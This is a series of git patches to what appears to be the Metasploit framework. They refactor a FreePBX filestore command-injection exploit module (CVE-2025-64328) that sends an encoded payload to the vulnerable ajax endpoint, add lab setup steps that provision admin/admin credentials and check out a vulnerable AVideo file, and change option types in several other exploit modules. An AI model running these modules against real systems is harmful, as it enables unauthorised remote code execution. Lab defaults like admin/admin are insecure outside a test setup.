index 53f1700e2b464..2c34318ba5209 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -82,6 +82,9 @@ def initialize(info = {})
     )
   end
 
+  class AuthenticationError < StandardError; end
+  class ConnectionError < StandardError; end
+
   def check
     data = freepbx_get_login_page_data
     unless data[:detected]
@@ -89,9 +92,13 @@ def check
       return CheckCode::Safe('Not FreePBX')
     end
 
-    cookie = authenticate
-    return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed
-    return CheckCode::Safe('Not FreePBX') if cookie.nil?
+    begin
+      cookie = authenticate
+    rescue AuthenticationError
+      return CheckCode::Detected('Invalid credentials')
+    rescue ConnectionError
+      return CheckCode::Safe('Not FreePBX')
+    end
 
     version = get_filestore_version_cached(cookie)
     return CheckCode::Detected('Filestore module version could not be determined') unless version
@@ -105,18 +112,23 @@ def check
 
   def exploit
     cookie = authenticate
-    fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed
-    fail_with(Failure::Unknown, 'Connection error') if cookie.nil?
-
     get_filestore_version_cached(cookie)
     execute_command(payload.encoded, { cookie: cookie })
+  rescue AuthenticationError
+    fail_with(Failure::NoAccess, 'Invalid credentials')
+  rescue ConnectionError
+    fail_with(Failure::Unknown, 'Connection error')
   end
 
   def authenticate
     data = freepbx_get_login_page_data
-    return nil unless data[:detected]
+    raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected]
+
+    cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+    raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed
+    raise ConnectionError, 'Connection error' if cookie.nil?
 
-    freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
+    cookie
   end
 
   def get_filestore_version_cached(cookie)

From d088ab632d8932e3d4b1bdd519236ffdf1de11ab Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 27 Nov 2025 22:43:35 +0100
Subject: [PATCH 074/103] Simplify execute_command to take cookie as direct
 parameter instead of hash

---
 .../exploits/unix/http/freepbx_filestore_cmd_injection.rb    | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 2c34318ba5209..fb574bed913ae 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -113,7 +113,7 @@ def check
   def exploit
     cookie = authenticate
     get_filestore_version_cached(cookie)
-    execute_command(payload.encoded, { cookie: cookie })
+    execute_command(payload.encoded, cookie)
   rescue AuthenticationError
     fail_with(Failure::NoAccess, 'Invalid credentials')
   rescue ConnectionError
@@ -155,8 +155,7 @@ def get_filestore_version_cached(cookie)
     version
   end
 
-  def execute_command(cmd, opts = {})
-    cookie = opts[:cookie]
+  def execute_command(cmd, cookie)
     fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
 
     send_request_cgi(

From f59024ce90dc8e941b6122c5c034d396e92a0351 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sun, 23 Nov 2025 00:36:21 +0100
Subject: [PATCH 075/103] Add authenticated RCE module for FreePBX filestore
 (CVE-2025-64328)

---
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index fb574bed913ae..45ae4ac154d4b 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -47,7 +47,7 @@ def initialize(info = {})
         ],
         'References' => [
           ['CVE', '2025-64328'],
-          ['URL', 'https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw'],
+          ['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'],
           ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
         ],
         'Platform' => %w[unix linux],

From 6467b7261dc24e95ae208c77a1cfa2437476c204 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 11 Mar 2026 19:42:25 +0100
Subject: [PATCH 076/103] Fix: Auto-provision admin user and fix filestore
 version downgrade in lab

---
 .../unix/http/freepbx_filestore_cmd_injection.md  | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
index 77bcd714b1ea8..71abe15c75feb 100644
--- a/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
+++ b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
@@ -77,6 +77,8 @@ services:
       MYSQL_PASSWORD: changeme-db
       MYSQL_HOST: mariadb
       FILESTORE_VERSION: 17.0.2.44
+      ADMIN_USER: admin
+      ADMIN_PASS: admin
       LOWPRIV_USER: lowpriv
       LOWPRIV_PASS: lowpriv123
     volumes:
@@ -117,6 +119,8 @@ DB_USER=${MYSQL_USER:-freepbx}
 DB_PASS=${MYSQL_PASSWORD:-changeme-db}
 DB_NAME=${MYSQL_DATABASE:-asterisk}
 FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44}
+ADMIN_USER=${ADMIN_USER:-admin}
+ADMIN_PASS=${ADMIN_PASS:-admin}
 LOWPRIV_USER=${LOWPRIV_USER:-lowpriv}
 LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123}
 (
@@ -133,9 +137,14 @@ LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123}
         command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break
         sleep 5
     done
-    fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION" || (fwconsole ma downloadinstall filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1; fwconsole ma enable filestore >/dev/null 2>&1)
+    if ! fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION"; then
+        fwconsole ma download filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1
+        fwconsole ma install filestore --force >/dev/null 2>&1
+        fwconsole ma enable filestore >/dev/null 2>&1
+    fi
     fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1)
     sleep 10
+    mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$ADMIN_USER', SHA1('$ADMIN_PASS'), '*');" >/dev/null 2>&1
     mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1
 ) &
 exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@"
@@ -143,9 +152,9 @@ exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@"
 
 Make sure to make the script executable: `chmod +x entrypoint.sh`
 
-4. Run `docker compose up -d` to start the environment.
+4. Run `docker compose up -d` to start the environment. Wait ~2 minutes for FreePBX to fully initialize (install modules, create users).
 
-5. Access the FreePBX web interface at `http://localhost:18080/admin/config.php` and complete the initial setup to create an admin user.
+5. The entrypoint automatically provisions two users: `admin`/`admin` (full access) and `lowpriv`/`lowpriv123` (filestore only).
 
 6. Follow the verification steps below.
 

From 2b0f1c3c21bf3115a34f33a9ed65e311e7633821 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 11 Mar 2026 20:06:08 +0100
Subject: [PATCH 077/103] Fix: Omit default port from Referer header in FreePBX
 mixin

FreePBX rejects ajax requests when the Referer includes :80 for HTTP
or :443 for HTTPS. Only include the port when it differs from the
protocol default.
---
 lib/msf/core/exploit/remote/http/freepbx.rb | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb
index e687892e49bb2..c803fae068466 100644
--- a/lib/msf/core/exploit/remote/http/freepbx.rb
+++ b/lib/msf/core/exploit/remote/http/freepbx.rb
@@ -24,7 +24,9 @@ def freepbx_referer
             host = datastore['RHOSTS'] || rhost
             host = '127.0.0.1' if host == '::1' || host == 'localhost'
             protocol = datastore['SSL'] ? 'https' : 'http'
-            "#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
+            default_port = datastore['SSL'] ? 443 : 80
+            port_str = (rport == default_port) ? '' : ":#{rport}"
+            "#{protocol}://#{host}#{port_str}#{freepbx_admin_uri}"
           end
 
           # Authenticate with supplied credentials and return the session cookie

From 16b55848b47743eee2d42c0331832e6a2960d515 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 11 Mar 2026 20:09:52 +0100
Subject: [PATCH 078/103] Fix: Remove duplicate Content-Type header from
 FreePBX requests

send_request_cgi already sets Content-Type when vars_post is used.
Setting it manually in headers causes a duplicate header.
---
 lib/msf/core/exploit/remote/http/freepbx.rb                   | 3 +--
 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb
index c803fae068466..8602b1f3e8480 100644
--- a/lib/msf/core/exploit/remote/http/freepbx.rb
+++ b/lib/msf/core/exploit/remote/http/freepbx.rb
@@ -54,8 +54,7 @@ def freepbx_login(username, password, timeout = 20)
               'method' => 'POST',
               'cookie' => cookie,
               'headers' => {
-                'Referer' => freepbx_referer,
-                'Content-Type' => 'application/x-www-form-urlencoded'
+                'Referer' => freepbx_referer
               },
               'vars_post' => {
                 'username' => username,
diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 45ae4ac154d4b..51b583c5e3559 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -163,8 +163,7 @@ def execute_command(cmd, cookie)
       'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
       'cookie' => cookie,
       'headers' => {
-        'Referer' => freepbx_referer,
-        'Content-Type' => 'application/x-www-form-urlencoded'
+        'Referer' => freepbx_referer
       },
       'vars_get' => {
         'module' => 'filestore',

From 38e74740f32ee49a9070594ef1244a800e8f5249 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 11 Mar 2026 21:23:27 +0100
Subject: [PATCH 079/103] Fix: Use correct commit hash for vulnerable
 getImage.php in lab setup

The previous commit (e0c2768) did not touch getImage.php. Use c9861e9c
which is the last commit before the security patch (78178d1) that
modifies the file.
---
 .../exploit/linux/http/avideo_encoder_getimage_cmd_injection.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
index a42148b74a523..33626bb30a53c 100644
--- a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
+++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
@@ -100,7 +100,7 @@ docker compose up -d
 
 ```bash
 cd .compose/encoder
-git checkout e0c2768 -- objects/getImage.php
+git checkout c9861e9c -- objects/getImage.php
 cd ../..
 docker compose restart avideo
 ```

From 5150a4b68bc106416926d2713183afba03d62d19 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 11 Mar 2026 22:05:23 +0100
Subject: [PATCH 080/103] Docs: Clarify that .compose/encoder is a clone of
 AVideo-Encoder repo

The commit c9861e9c exists in WWBN/AVideo-Encoder (not WWBN/AVideo).
Add a note explaining that .compose/encoder is a git clone created by
the container entrypoint, with a link to the correct repository.
---
 .../linux/http/avideo_encoder_getimage_cmd_injection.md      | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
index 33626bb30a53c..df31d4d8fe715 100644
--- a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
+++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
@@ -96,7 +96,10 @@ docker compose up -d
 
 5. Wait for the services to be ready and access the application at `http://localhost`.
 
-6. Replace the Encoder's `getImage.php` with the pre-patch (vulnerable) version:
+6. Replace the Encoder's `getImage.php` with the pre-patch (vulnerable) version.
+The `.compose/encoder` directory is a git clone of
+[WWBN/AVideo-Encoder](https://github.com/WWBN/AVideo-Encoder), created automatically
+by the container entrypoint:
 
 ```bash
 cd .compose/encoder

From b2f1e46c829c62384c30a514d2e580f82110e94a Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Sun, 15 Feb 2026 20:36:01 +0000
Subject: [PATCH 081/103] OptString -> OptAddress

---
 lib/msf/core/exploit/dhcp_server.rb                | 14 +++++++-------
 .../auxiliary/admin/http/linksys_wrt54gl_exec.rb   |  2 +-
 .../auxiliary/server/jsse_skiptls_mitm_proxy.rb    |  6 +++---
 .../server/openssl_altchainsforgery_mitm_proxy.rb  |  2 +-
 modules/auxiliary/server/pxeexploit.rb             |  8 ++++----
 .../exploits/linux/http/dlink_hnap_login_bof.rb    |  2 +-
 .../exploits/linux/http/ibm_qradar_unauth_rce.rb   |  2 +-
 .../exploits/linux/http/nagios_xi_magpie_debug.rb  |  2 +-
 modules/exploits/multi/http/jboss_maindeployer.rb  |  2 +-
 modules/exploits/windows/local/pxeexploit.rb       |  8 ++++----
 .../windows/scada/rockwell_factorytalk_rce.rb      |  2 +-
 modules/post/multi/manage/autoroute.rb             |  4 ++--
 modules/post/windows/manage/pxeexploit.rb          |  8 ++++----
 13 files changed, 31 insertions(+), 31 deletions(-)

diff --git a/lib/msf/core/exploit/dhcp_server.rb b/lib/msf/core/exploit/dhcp_server.rb
index d919a7df50fd3..ce8eac1a4dfc6 100644
--- a/lib/msf/core/exploit/dhcp_server.rb
+++ b/lib/msf/core/exploit/dhcp_server.rb
@@ -18,13 +18,13 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('DHCPINTERFACE',[ false, "The network interface to use for broadcast" ]),
-        OptString.new('SRVHOST',     [ true,  "The IP of the DHCP server" ]),
-        OptString.new('NETMASK',     [ true,  "The netmask of the local subnet" ]),
-        OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
-        OptString.new('DHCPIPEND',   [ false, "The last IP to give out" ]),
-        OptString.new('ROUTER',      [ false, "The router IP address" ]),
-        OptString.new('BROADCAST',   [ false, "The broadcast address to send to" ]),
-        OptString.new('DNSSERVER',   [ false, "The DNS server IP address" ]),
+        OptAddress.new('SRVHOST',     [ true,  "The IP of the DHCP server" ]),
+        OptAddress.new('NETMASK',     [ true,  "The netmask of the local subnet" ]),
+        OptAddress.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
+        OptAddress.new('DHCPIPEND',   [ false, "The last IP to give out" ]),
+        OptAddress.new('ROUTER',      [ false, "The router IP address" ]),
+        OptAddress.new('BROADCAST',   [ false, "The broadcast address to send to" ]),
+        OptAddress.new('DNSSERVER',   [ false, "The DNS server IP address" ]),
         OptString.new('DOMAINNAME',  [ false, "The optional domain name to assign" ]),
         OptString.new('HOSTNAME',    [ false, "The optional hostname to assign" ]),
         OptString.new('HOSTSTART',   [ false, "The optional host integer counter" ]),
diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
index ed5ecf90c56aa..ee1ac80517f0b 100644
--- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
+++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
@@ -50,7 +50,7 @@ def initialize(info = {})
         OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
         OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),
         OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
-        OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
+        OptAddress.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
         OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
         OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
         OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
index 4bcafc8e94288..26549e4e36206 100644
--- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
+++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
@@ -46,11 +46,11 @@ module requires an active man-in-the-middle attack.
 
     register_options(
       [
-        OptString.new('FAKEHOST', [ false, 'The fake server address', nil]),
+        OptAddress.new('FAKEHOST', [ false, 'The fake server address', nil]),
         OptString.new('FAKEPORT', [ false, 'The fake server port', 443]),
-        OptString.new('HOST', [ true, 'The server address', nil]),
+        OptAddress.new('HOST', [ true, 'The server address', nil]),
         OptPort.new('PORT', [ true, 'The server port', 443]),
-        OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
+        OptAddress.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
         OptString.new('SRVPORT', [ true, 'The proxy port', 443])
       ]
     )
diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
index 4fc5bcba1787a..bbed32840bd7d 100644
--- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
+++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
@@ -56,7 +56,7 @@ def initialize
         OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
         OptString.new('HOST', [ true, 'The server address', nil]),
         OptPort.new('PORT', [ true, 'The server port', 443]),
-        OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
+        OptAddress.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
         OptString.new('SRVPORT', [ true, 'The proxy port', 443])
       ]
     )
diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb
index 9a02044363e87..f1c8188fe15fb 100644
--- a/modules/auxiliary/server/pxeexploit.rb
+++ b/modules/auxiliary/server/pxeexploit.rb
@@ -44,10 +44,10 @@ def initialize
           false, 'The TFTP root directory to serve files from',
           File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
         ]),
-        OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
-        OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
-        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
-        OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
+        OptAddress.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
+        OptAddress.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
+        OptAddress.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
+        OptAddress.new('DHCPIPEND', [ false, 'The last IP to give out' ])
       ]
     )
   end
diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
index 7674f164a0fe7..b193f29be95ea 100644
--- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb
+++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
@@ -97,7 +97,7 @@ def initialize(info = {})
       [
         Opt::RPORT(80),
         OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
-        OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
+        OptAddress.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
         OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
         OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
         OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
diff --git a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
index d492583774726..cbf30eaa3ecac 100644
--- a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
+++ b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
@@ -76,7 +76,7 @@ def initialize(info = {})
     register_options(
       [
         Opt::RPORT(443),
-        OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
+        OptAddress.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
         OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
       ]
     )
diff --git a/modules/exploits/linux/http/nagios_xi_magpie_debug.rb b/modules/exploits/linux/http/nagios_xi_magpie_debug.rb
index bef562a023bca..8b20cf3deb324 100644
--- a/modules/exploits/linux/http/nagios_xi_magpie_debug.rb
+++ b/modules/exploits/linux/http/nagios_xi_magpie_debug.rb
@@ -58,7 +58,7 @@ def initialize(info = {})
     )
 
     register_options([
-      OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
+      OptAddress.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
       OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
       OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
     ])
diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb
index 280c1dd6f7e79..cb88d1409170b 100644
--- a/modules/exploits/multi/http/jboss_maindeployer.rb
+++ b/modules/exploits/multi/http/jboss_maindeployer.rb
@@ -95,7 +95,7 @@ def initialize(info = {})
         OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
         OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
         OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
-        OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
+        OptAddress.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
         OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
         OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
 
diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb
index c91c706f15cea..772b1ffa45ff6 100644
--- a/modules/exploits/windows/local/pxeexploit.rb
+++ b/modules/exploits/windows/local/pxeexploit.rb
@@ -71,11 +71,11 @@ def initialize
           false, 'The TFTP root directory to serve files from',
           File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
         ]),
-        OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
-        OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
+        OptAddress.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
+        OptAddress.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
         OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
-        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
-        OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
+        OptAddress.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
+        OptAddress.new('DHCPIPEND', [ false, 'The last IP to give out' ])
       ]
     )
   end
diff --git a/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb b/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
index c98d138961582..30e9c8825fe2a 100644
--- a/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
+++ b/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
@@ -66,7 +66,7 @@ def initialize(info = {})
     register_options(
       [
         Opt::RPORT(80),
-        OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
+        OptAddress.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
         OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
         OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
       ]
diff --git a/modules/post/multi/manage/autoroute.rb b/modules/post/multi/manage/autoroute.rb
index 79c43713878d7..cffef85692ced 100644
--- a/modules/post/multi/manage/autoroute.rb
+++ b/modules/post/multi/manage/autoroute.rb
@@ -44,8 +44,8 @@ def initialize(info = {})
 
     register_options(
       [
-        OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
-        OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
+        OptAddress.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
+        OptAddress.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
         OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add', 'autoadd', 'print', 'delete', 'default']])
       ]
     )
diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb
index a10f9e392e509..797af41214807 100644
--- a/modules/post/windows/manage/pxeexploit.rb
+++ b/modules/post/windows/manage/pxeexploit.rb
@@ -50,11 +50,11 @@ def initialize
           false, 'The TFTP root directory to serve files from',
           File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
         ]),
-        OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
-        OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
+        OptAddress.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
+        OptAddress.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
         OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
-        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
-        OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
+        OptAddress.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
+        OptAddress.new('DHCPIPEND', [ false, 'The last IP to give out' ])
       ]
     )
   end

From 3852276028a8e07140aadcccb35e9397a54eb030 Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Sun, 15 Feb 2026 20:36:35 +0000
Subject: [PATCH 082/103] OptString -> OptAddressLocal

---
 modules/exploits/multi/http/jboss_maindeployer.rb               | 2 +-
 .../multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb         | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb
index cb88d1409170b..3c32241ba5d81 100644
--- a/modules/exploits/multi/http/jboss_maindeployer.rb
+++ b/modules/exploits/multi/http/jboss_maindeployer.rb
@@ -96,7 +96,7 @@ def initialize(info = {})
         OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
         OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
         OptAddress.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
-        OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
+        OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
         OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])
 
       ]
diff --git a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
index 7febf3a585a54..ee2734aa59dff 100644
--- a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
+++ b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
@@ -79,7 +79,7 @@ def initialize(info = {})
     register_options([
       Opt::RPORT(8000),
       OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
-      OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
+      OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
       OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
       OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
       OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])

From f7c4aac4537cb71e97e6acee68e9f0917fad3909 Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Sun, 15 Feb 2026 20:36:50 +0000
Subject: [PATCH 083/103] OptAddress -> OptAddressLocal

---
